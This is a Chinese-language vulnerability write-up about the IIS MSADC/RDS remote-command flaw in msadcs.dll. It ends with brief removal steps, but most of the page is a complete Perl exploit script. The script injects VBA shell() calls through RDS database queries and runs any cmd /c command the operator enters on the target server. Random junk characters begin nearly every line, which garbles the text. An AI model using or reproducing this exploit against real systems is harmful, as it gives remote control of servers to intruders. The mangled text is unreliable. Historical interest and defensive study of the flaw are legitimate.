IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
I H~[/qNk )Fh5*UC 涉及程序：
_V-pr#lP1 Microsoft NT server
DS1_hbk ;B !u=_' 描述：
YA%0{Tdxz 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Vi_6O; * k
^?L 详细：
* b+ ~@o 如果你没有时间读详细内容的话，就删除:
eww/tG a c:\Program Files\Common Files\System\Msadc\msadcs.dll
"Z*u2_ H 有关的安全问题就没有了。
/p_#8}Uh E*X-f" 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
U/3 <p8 El#"vIg(\ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
3Ja1|;(2 关于利用ODBC远程漏洞的描述，请参看:
&x<y4ORH| &F#K=R| .j http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm x C+TO i- *ZW: 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
%?z8*G]M http://www.microsoft.com/security/bulletins/MS99-025faq.asp Ea\Khf]2 p;<brwN 这里不再论述。
YPNG9^ Y IG=# 2 /$ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
:J6lJ8w
? #J09Eka;J /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
ZQY?wO: [ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
bL]N SD |Y&&g=7 j0+l-]F- #将下面这段保存为txt文件，然后: "perl -x 文件名"
E|v9khN(]. XPQY *.l&. #!perl
p?XVO# #
(N
:vDq' # MSADC/RDS 'usage' (aka exploit) script
c}r"O8M #
;o-c.-!F # by rain.forest.puppy
T1_>qnSz #
M=Cl| # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
T.?}iz=ZEq # beta test and find errors!
]XhX aoqL wY6m^g$h3 use Socket; use Getopt::Std;
38l 8n. getopts("e:vd:h:XR", \%args);
YecV+ K'p: ;dVYR =l print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
FEwPLViso ;"Q.c#pA$g if (!defined $args{h} && !defined $args{R}) {
oK#UEn print qq~
%29l Dd(< Usage: msadc.pl -h <host> { -d <delay> -X -v }
N>Q~WXvV# -h <host> = host you want to scan (ip or domain)
^ ^T e -d <seconds> = delay between calls, default 1 second
ATscP hk -X = dump Index Server path table, if available
y0_z_S#gO -v = verbose
r!e:s JAB. -e = external dictionary file for step 5
e> -fI_+b h"$ )[k~ Or a -R will resume a command session
mfCp@1;26 G3_HX<|f* ~; exit;}
qbD>)} :1 ykat0iqo $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
;Qq<5I"y if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
m;@8z[
^5 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
f1,VbuS9I if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
BOdd~f%&tn $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
OD;F{Hc if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
{DWL 5V#M RB Og;EJ if (!defined $args{R}){ $ret = &has_msadc;
^bG91"0A die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
PB(I3R9 $QB/n63 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Ev>P|k V&A . "cmd /c ";
@
q:S]YB $in=<STDIN>; chomp $in;
&5d~ODO $command="cmd /c " . $in ;
;(r,;S_`0 5u=> ~yK+ if (defined $args{R}) {&load; exit;}
X([p0W
9V( :` > bh print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
{j[ a'Gb &try_btcustmr;
9 2XG|CWX oF L7dL print "\nStep 2: Trying to make our own DSN...";
Gw-y6e'|Y &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
T7R,6 qt r%\%tz'`j
print "\nStep 3: Trying known DSNs...";
%i5tf;x6i &known_dsn;
Aa4 DJ C WY-}M print "\nStep 4: Trying known .mdbs...";
buKSZ &known_mdb;
Q4ZKgc C @id!F<+%oD if (defined $args{e}){
H;{IOBo print "\nStep 5: Trying dictionary of DSN names...";
IN 7Cpg~9% &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
P"f4`q
#Oi{7~ print "Sorry Charley...maybe next time?\n";
w8}jmpnI exit;
) m_q2xV |'qvq /#^ ##############################################################################
/(8"9Sfm :Lu 9w0>f sub sendraw { # ripped and modded from whisker
#5%ipWPHb sleep($delay); # it's a DoS on the server! At least on mine...
O;+
sAt my ($pstr)=@_;
L(o#) I>j socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Ubm]V{7 die("Socket problems\n");
COA*Q if(connect(S,pack "SnA4x8",2,80,$target)){
Qv6-,6< select(S); $|=1;
P:%r3F print $pstr; my @in=<S>;
d.yATP select(STDOUT); close(S);
of8
>xvE| return @in;
]w_JbFmT } else { die("Can't connect...\n"); }}
*I.eCMDa [\-)c[/ ##############################################################################
` *",_RO; >u+% H
vzc sub make_header { # make the HTTP request
|eI!wgQx my $msadc=<<EOT
wC?>,LOl POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
uj: 1_&g User-Agent: ACTIVEDATA
-% \LW1 Host: $ip
0K4A0s_R` Content-Length: $clen
TeRH@oI Connection: Keep-Alive
_$_ ,r H aGNb Cm ADCClientVersion:01.06
*$Y_ %} Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
#'dNSez 5 ]Z?jo# F --!ADM!ROX!YOUR!WORLD!
.z[#j]k Content-Type: application/x-varg
y({lE3P Content-Length: $reqlen
pi5DD K [<WoXS1LX EOT
[ J4n% ; $msadc=~s/\n/\r\n/g;
CsEU:v return $msadc;}
A|YiS wyy _*ar\A` ##############################################################################
XhUVDmeUMb XtqhK" f% sub make_req { # make the RDS request
,\T7{=ZG\! my ($switch, $p1, $p2)=@_;
A1n4R my $req=""; my $t1, $t2, $query, $dsn;
_+,>NJ {r%T_BfY if ($switch==1){ # this is the btcustmr.mdb query
n0Qp:_2z $query="Select * from Customers where City=" . make_shell();
&v#pS!UO j $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
f2u4*X
E\ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
g@Pq< Y`." =8R~ elsif ($switch==2){ # this is general make table query
P9W?sPnC5 $query="create table AZZ (B int, C varchar(10))";
t;`ULp ~& $dsn="$p1";}
/ke[nr Z7> Nd$E{ elsif ($switch==3){ # this is general exploit table query
g}d[j
I9 $query="select * from AZZ where C=" . make_shell();
3wg 1wl| $dsn="$p1";}
6O_l;A[=1 NOmFQ)/ & elsif ($switch==4){ # attempt to hork file info from index server
nNf*Q
r%Z $query="select path from scope()";
*7w!~mn[m $dsn="Provider=MSIDXS;";}
aNBwb9X B=~uJUr elsif ($switch==5){ # bad query
<G'M/IR a $query="select";
m d `=2l $dsn="$p1";}
zkquXzlgB >qBJK)LHOv $t1= make_unicode($query);
-]t>'Q? $t2= make_unicode($dsn);
9/_~YY=/h $req = "\x02\x00\x03\x00";
Hb/8X
!= $req.= "\x08\x00" . pack ("S1", length($t1));
nk;^sq4M : $req.= "\x00\x00" . $t1 ;
a$\ Bt_ $req.= "\x08\x00" . pack ("S1", length($t2));
H@b4(6
$req.= "\x00\x00" . $t2 ;
nok-![ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
"'C5B>qO return $req;}
= ;(L$:l~ ~E/=nv$ ##############################################################################
v#EF klOP [8Fn0A sub make_shell { # this makes the shell() statement
?aI. Z+# return "'|shell(\"$command\")|'";}
M:dH> !f]kTs]j~ ##############################################################################
BS
]:w(}[ T;]Ob3(BpW sub make_unicode { # quick little function to convert to unicode
AiB] A} my ($in)=@_; my $out;
*Nfot v for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
BwrX.!M return $out;}
WrS>^\: q\-P/aN_ ##############################################################################
F]fXS-@ c z,bK.KFSs sub rdo_success { # checks for RDO return success (this is kludge)
ym+Ezb#o my (@in) = @_; my $base=content_start(@in);
j#xGB] if($in[$base]=~/multipart\/mixed/){
~nb(e$?N return 1 if( $in[$base+10]=~/^\x09\x00/ );}
m2P&DdN[ return 0;}
$f%om) 'rTJ *1i ##############################################################################
GaV} @Q qzEv!?)a sub make_dsn { # this makes a DSN for us
&;~?\>?I my @drives=("c","d","e","f");
i[ > U#5 print "\nMaking DSN: ";
^C92R"*Qu foreach $drive (@drives) {
fz A Fn$[ print "$drive: ";
y` {|D* my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
bDm7$ ( "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
F` GXho[ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
*tv\5KW G $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
G 4rzx%W? return 0 if $2 eq "404"; # not found/doesn't exist
hiE YIx if($2 eq "200") {
mkhWbzD'S foreach $line (@results) {
_8!x return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
0X4)=sJP } return 0;}
3y,2RernK @biU@[D ##############################################################################
-+M360 o)>iHzR</ sub verify_exists {
i"x V=. my ($page)=@_;
,FXc_BCx4 my @results=sendraw("GET $page HTTP/1.0\n\n");
!zvOCAb, return $results[0];}
rxqSi0p .6C 6ZUB; ##############################################################################
_ ]- 4UA- I9Uj3cL\ sub try_btcustmr {
G&@d J &B my @drives=("c","d","e","f");
QBG jH^kL my @dirs=("winnt","winnt35","winnt351","win","windows");
I ~^Xw7 !XM<`H/ foreach $dir (@dirs) {
uE<8L(*B print "$dir -> "; # fun status so you can see progress
^B%c3U$o foreach $drive (@drives) {
g"k4Z print "$drive: "; # ditto
2r ;h"> $reqlen=length( make_req(1,$drive,$dir) ) - 28;
ca3SE^ $reqlenlen=length( "$reqlen" );
q"6$#o{~U $clen= 206 + $reqlenlen + $reqlen;
IUDH"~f 5423Ky< my @results=sendraw(make_header() . make_req(1,$drive,$dir));
w lsx| if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
;^ u,[d else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
_C (fz CK {}rnn$HQe ##############################################################################
5Zd oem FJ4,|x3v[x sub odbc_error {
a+\<2NXYD my (@in)=@_; my $base;
5 ba e- my $base = content_start(@in);
>MSK.SNh if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
>*opE I+ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9D Nd} rXO $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(w u ciKQ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
p*)I QM<B return $in[$base+4].$in[$base+5].$in[$base+6];}
c~O
Lr print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
T Uz4-Pd print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
M@P% k`6C $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
{Z 7ixc523 $(+xhn(O ##############################################################################
K0>+-p oL 8 aIqc sub verbose {
%P M#gnt@ my ($in)=@_;
9 #m3<oSJ return if !$verbose;
#/jug[wf*! print STDOUT "\n$in\n";}
X d o\DQn ?Z_T3/ f ##############################################################################
Kh[l} ;/F ~, E }^ sub save {
l
U8pX$ my ($p1, $p2, $p3, $p4)=@_;
@;$cX2 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
:CK`v6 Qs print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
S89j:KRXH% close OUT;}
3 o$zT 9j +RJKJ :W ##############################################################################
WJu(,zM?G >j3':>\U sub load {
7}y@VO6] my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
6wj o:I open(IN,"<rds.save") || die("Couldn't open rds.save\n");
9(O eH7 @p=<IN>; close(IN);
d(TN(6g@ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
B@NBN&Fr $target= inet_aton($ip) || die("inet_aton problems");
}(
CYok print "Resuming to $ip ...";
HfgTc
h $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
ZSW@,Ti if($p[1]==1) {
|59)6/i $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
c*. $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
LT o5v my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
F8dr-"G if (rdo_success(@results)){print "Success!\n";}
8>W52~^fU else { print "failed\n"; verbose(odbc_error(@results));}}
le b/ D>y elsif ($p[1]==3){
!=PH5jT Y if(run_query("$p[3]")){
*~shvtq print "Success!\n";} else { print "failed\n"; }}
U# S-x5Gn elsif ($p[1]==4){
2 oV6#!{Z if(run_query($drvst . "$p[3]")){
F6111Q </ print "Success!\n"; } else { print "failed\n"; }}
_z8"r& exit;}
LAo$AiTUR{ [Z"Z5e` ##############################################################################
/*{'p!? |>.MH sub create_table {
@'):rFr@F my ($in)=@_;
3<"j/9;K' $reqlen=length( make_req(2,$in,"") ) - 28;
@&`^#pok $reqlenlen=length( "$reqlen" );
Xwdcy J! $clen= 206 + $reqlenlen + $reqlen;
i&^JG/a my @results=sendraw(make_header() . make_req(2,$in,""));
{Ji&rk}NP return 1 if rdo_success(@results);
)B"{B1( my $temp= odbc_error(@results); verbose($temp);
2uN3:_w return 1 if $temp=~/Table 'AZZ' already exists/;
DbLo{mFEIj return 0;}
bGL} nPo J`)/\9'&& ##############################################################################
+6$+] u] =}Zl
E sub known_dsn {
s R>>l3H # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
f S/:OnH my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
M>Tg$^lm "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
aJf3rHX "banner", "banners", "ads", "ADCDemo", "ADCTest");
u"(NN9s Y'~O_coG foreach $dSn (@dsns) {
!j`<iPI7B print ".";
UkpTK8>& next if (!is_access("DSN=$dSn"));
*]NfT}} if(create_table("DSN=$dSn")){
"_\ " S print "$dSn successful\n";
6vAZLNG3 if(run_query("DSN=$dSn")){
X/cb1 # print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
BJb, print "Something's borked. Use verbose next time\n";}}} print "\n";}
&V$cwB ~!~i_L\V ##############################################################################
Z!~_# _Ugl z9 Ch %A{ sub is_access {
^h2+ "" my ($in)=@_;
3^% 2, $reqlen=length( make_req(5,$in,"") ) - 28;
,7bhUE/VB $reqlenlen=length( "$reqlen" );
M1Ff ,]w $clen= 206 + $reqlenlen + $reqlen;
,cS# my @results=sendraw(make_header() . make_req(5,$in,""));
&'&)E(( my $temp= odbc_error(@results);
}xt^}:D verbose($temp); return 1 if ($temp=~/Microsoft Access/);
? !U.o1 return 0;}
C]8w[)d[`; <=GZm}/]N ##############################################################################
E;s _=j1f ^p d7nr~Y sub run_query {
%q3`k#?< my ($in)=@_;
ut\ X{.r7 $reqlen=length( make_req(3,$in,"") ) - 28;
B !,&{ [D
$reqlenlen=length( "$reqlen" );
N v. $clen= 206 + $reqlenlen + $reqlen;
(wq8[1Wzup my @results=sendraw(make_header() . make_req(3,$in,""));
#<"od '{U return 1 if rdo_success(@results);
n
nAtXVy my $temp= odbc_error(@results); verbose($temp);
B>: U return 0;}
- K?lhu 2^
]^Yc ##############################################################################
CN ( : 0Zwx3[bq6K sub known_mdb {
q hvT," my @drives=("c","d","e","f","g");
3{| ~'5* my @dirs=("winnt","winnt35","winnt351","win","windows");
1!G}*38; my $dir, $drive, $mdb;
1}Q9y `65 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
&.DRAD) BRM `/s # this is sparse, because I don't know of many
{g1"{ my @sysmdbs=( "\\catroot\\icatalog.mdb",
VFZ?< m "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
,M?8s2? "\\system32\\certmdb.mdb",
u8KQ V7E "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Dt[+HCCY: -.?
@f
tY my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
b<4nljbx "\\cfusion\\cfapps\\forums\\forums_.mdb",
!`H{jw H "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
/"st
sF "\\cfusion\\cfapps\\security\\realm_.mdb",
jQm~F` z "\\cfusion\\cfapps\\security\\data\\realm.mdb",
>Rt:8uurAG "\\cfusion\\database\\cfexamples.mdb",
}=R0AKz!Cv "\\cfusion\\database\\cfsnippets.mdb",
fXWE4^jU "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Q &{C%j~N "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
t !6sU]{ "\\cfusion\\brighttiger\\database\\cleam.mdb",
R|8L'H+1x "\\cfusion\\database\\smpolicy.mdb",
467"pqT "\\cfusion\\database\cypress.mdb",
UakVmVN/P "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
C=r`\W "\\website\\cgi-win\\dbsample.mdb",
X41Qkf{ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
<a $!S "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
4[x` \ ); #these are just
)e'F [ foreach $drive (@drives) {
$`7Fk%#+e foreach $dir (@dirs){
ysK J= foreach $mdb (@sysmdbs) {
D FQ`(1Q print ".";
<";1[A%7< if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
0Yq_B+IC print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
eL"'-d+] if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
~A5NseWCK print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
WgR%mm^ } else { print "Something's borked. Use verbose next time\n"; }}}}}
@OT $* Qh > Tl/3{V foreach $drive (@drives) {
" ]G'^ foreach $mdb (@mdbs) {
2;>uP#1] print ".";
h%u!UHA if(create_table($drv . $drive . $dir . $mdb)){
OET/4( C print "\n" . $drive . $dir . $mdb . " successful\n";
~D}fy if(run_query($drv . $drive . $dir . $mdb)){
C}<e3BXc print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
D=z="p\ } else { print "Something's borked. Use verbose next time\n"; }}}}
]!sCWR }
6?%$e$s F%$ q]J[ ##############################################################################
K <::M3 eQ 1 +-Go}I sub hork_idx {
Kgi`@` print "\nAttempting to dump Index Server tables...\n";
t^K Qv ~ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
iR9du P+ $reqlen=length( make_req(4,"","") ) - 28;
xg,
9~f[ $reqlenlen=length( "$reqlen" );
ob/<;SrU< $clen= 206 + $reqlenlen + $reqlen;
B.od{@I(Xp my @results=sendraw2(make_header() . make_req(4,"",""));
FIfLDT+ Wh if (rdo_success(@results)){
~E8/m_> rU my $max=@results; my $c; my %d;
f?=0Wzb for($c=19; $c<$max; $c++){
m%})H"5 $results[$c]=~s/\x00//g;
/~ WBqcl $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
z7XI`MZN^ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
l3^'b p6HQ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
0iM'),v[] $d{"$1$2"}="";}
^
op0"
#B foreach $c (keys %d){ print "$c\n"; }
HU/4K7e` } else {print "Index server doesn't seem to be installed.\n"; }}
&L?]w=* eP:\\;
; ##############################################################################
q1L>nvE $Bc3| `K1v sub dsn_dict {
V >eG\ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
b|k^ while(<IN>){
TAOsg0 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
;PG=
3j_ next if (!is_access("DSN=$dSn"));
vv2[t if(create_table("DSN=$dSn")){
f
]_ki print "$dSn successful\n";
AU)\ lyB if(run_query("DSN=$dSn")){
B f y print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
EX!`Zejf print "Something's borked. Use verbose next time\n";}}}
xbw;s}B print "\n"; close(IN);}
q>K3a1x @> $qb|j ##############################################################################
O86p]Lr `?[,1 sub sendraw2 { # ripped and modded from whisker
q'y< UyT6 sleep($delay); # it's a DoS on the server! At least on mine...
J9tV| 0 my ($pstr)=@_;
K/Y"oQ2 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
tMP" 9JE, die("Socket problems\n");
Oh10X.)i if(connect(S,pack "SnA4x8",2,80,$target)){
-&1P2m/46 print "Connected. Getting data";
ws QuJrG open(OUT,">raw.out"); my @in;
x|d? ' select(S); $|=1; print $pstr;
PWp=} f.y while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
tj* 0Y-F~ close(OUT); select(STDOUT); close(S); return @in;
gzvgXZ1q" } else { die("Can't connect...\n"); }}
98
NFJ vpT\ CjXHZ ##############################################################################
tN)t`1_j ^+d]'$ sub content_start { # this will take in the server headers
tK uJ &I~ my (@in)=@_; my $c;
~@Bw(! for ($c=1;$c<500;$c++) {
`5(F'o if($in[$c] =~/^\x0d\x0a/){
ic IWv
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
T UwX4X6m else { return $c+1; }}}
`I toL7bi return -1;} # it should never get here actually
kzK9 . x%ccNP0 ##############################################################################
N Lx TiyQy fyT|xI`iD sub funky {
C GK]i. N my (@in)=@_; my $error=odbc_error(@in);
{ Dm@_& if($error=~/ADO could not find the specified provider/){
b?,%M^9\` print "\nServer returned an ADO miscofiguration message\nAborting.\n";
"WtYqXyd exit;}
^j RX6 if($error=~/A Handler is required/){
!fe_w5S ^ print "\nServer has custom handler filters (they most likely are patched)\n";
@^ &p$: exit;}
aY .cx1" if($error=~/specified Handler has denied Access/){
w8$>
2 print "\nServer has custom handler filters (they most likely are patched)\n";
`bV&n!Y_ exit;}}
\I}EW I ^ZS!1%1 ##############################################################################
@x!+_z ,H.5TQ# sub has_msadc {
h0dZr-c my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
-(lP8Y~gFY my $base=content_start(@results);
Nr* X1lJ6 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
w?8\9\ ;? return 0;}
A1Uy|Dl B1U!*yzG6 ########################
GNrRc3dr$ 7 p!ROl^ `J03t\ 解决方案：
n q>F_h 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
$~1mKx]] 2、移除web 目录: /msadc
